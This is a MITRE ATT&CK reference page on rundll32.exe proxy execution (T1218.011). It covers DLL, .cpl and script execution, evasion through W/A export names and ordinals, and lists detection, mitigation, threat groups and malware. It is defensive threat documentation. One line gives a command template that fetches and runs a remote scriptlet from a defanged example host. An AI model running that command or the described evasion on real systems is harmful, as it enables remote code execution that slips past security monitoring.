System Binary Proxy Execution: Rundll32
- ID
- T1218.011
- Tactics
- TA0005 Stealth
- Sub-technique of
- T1218 System Binary Proxy Execution
- Platforms
- Windows
- Data sources
- Process Creation, Module Load, File Creation, Network Connection Creation
- Source
- attack.mitre.org
- MITRE last modified
- 12 May 2026
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.[1] For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.[2]
Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.[3][4]
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[5][6] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.[7]
Detection
- DET0475 Detection Strategy for T1218.011 Rundll32 Abuse
Data components: Process Creation, Module Load, File Creation, Network Connection Creation
Mitigations (1)
- M1050 Exploit Protection
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.
Groups (26)
- G0007 APT28
- G0008 Carbanak
- G0022 APT3
- G0032 Lazarus Group
- G0034 Sandworm Team
- G0046 FIN7
- G0047 Gamaredon Group
- G0050 APT32
- G0052 CopyKittens
- G0059 Magic Hound
- G0069 MuddyWater
- G0073 APT19
- G0082 APT38
- G0092 TA505
- G0094 Kimsuky
- G0096 APT41
- G0102 Wizard Spider
- G0108 Blue Mockingbird
- G0125 HAFNIUM
- G0127 TA551
- G0140 LazyScripter
- G0143 Aquatic Panda
- G1034 Daggerfly
- G1039 RedCurl
- G1048 UNC3886
- G1053 Storm-0501
Software (69)
- S0032 gh0st RAT
- S0044 JHUHUGIT
- S0045 ADVSTORESHELL
- S0046 CozyCar
- S0074 Sakula
- S0081 Elise
- S0082 Emissary
- S0093 Backdoor.Oldrea
- S0113 Prikormka
- S0137 CORESHELL
- S0139 PowerDuke
- S0141 Winnti for Windows
- S0142 StreamEx
- S0143 Flame
- S0147 Pteranodon
- S0148 RTM
- S0154 Cobalt Strike
- S0167 Matryoshka
- S0196 PUNCHBUGGY
- S0204 Briba
- S0236 Kwampirs
- S0244 Comnie
- S0250 Koadic
- S0255 DDKONG
- S0256 Mosquito
- S0260 InvisiMole
- S0267 FELIXROOT
- S0268 Bisonal
- S0342 GreyEnergy
- S0353 NOKKI
- S0356 KONNI
- S0368 NotPetya
- S0381 FlawedAmmyy
- S0382 ServHelper
- S0412 ZxShell
- S0438 Attor
- S0452 USBferry
- S0461 SDBbot
- S0481 Ragnar Locker
- S0483 IcedID
- S0512 FatDuke
- S0518 PolyglotDuke
- S0520 BLINDINGCAN
- S0554 Egregor
- S0559 SUNBURST
- S0568 EVILNUM
- S0576 MegaCortex
- S0589 Sibot
- S0606 Bad Rabbit
- S0634 EnvyScout
- S0635 BoomBox
- S0637 NativeZone
- S0650 QakBot
- S0698 HermeticWizard
- S1026 Mongall
- S1027 Heyoka Backdoor
- S1030 Squirrelwaffle
- S1039 Bumblebee
- S1044 FunnyDream
- S1050 PcShare
Showing 60 of 69. Full list on attack.mitre.org.
